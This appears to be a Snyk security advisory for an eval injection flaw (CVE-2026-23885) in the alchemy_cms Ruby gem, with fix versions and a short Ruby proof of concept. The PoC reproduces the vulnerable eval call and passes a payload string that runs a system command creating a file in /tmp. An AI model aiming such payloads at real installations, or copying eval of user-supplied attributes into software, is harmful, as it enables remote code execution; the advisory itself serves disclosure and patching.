Eval Injection Affecting alchemy_cms package, versions <7.4.12>=8.0.0.a, <8.0.3


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.43% (34th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-RUBY-ALCHEMYCMS-15037183
  • published20 Jan 2026
  • disclosed19 Jan 2026
  • creditSardor Shoakbarov

Introduced: 19 Jan 2026

CVE-2026-23885  (opens in a new tab)
CWE-95  (opens in a new tab)

How to fix?

Upgrade alchemy_cms to version 7.4.12, 8.0.3 or higher.

Overview

Affected versions of this package are vulnerable to Eval Injection via the resource_url_proxy function. An attacker can execute arbitrary system commands by supplying crafted input to the engine_name attribute, which is evaluated within the application context.

PoC

require 'ostruct'

def resource_url_proxy(resource_handler)
  if resource_handler.engine_name && !resource_handler.engine_name.empty?
    eval(resource_handler.engine_name)
  end
end

# Payload to create a file in /tmp directory
payload = "system('touch /tmp/alchemy_rce_verified'); 'main_app'"
handler = OpenStruct.new(engine_name: payload)

resource_url_proxy(handler)

if File.exist?('/tmp/alchemy_rce_verified')
  puts "RCE Verified: Command executed successfully."
end

CVSS Base Scores

version 4.0
version 3.1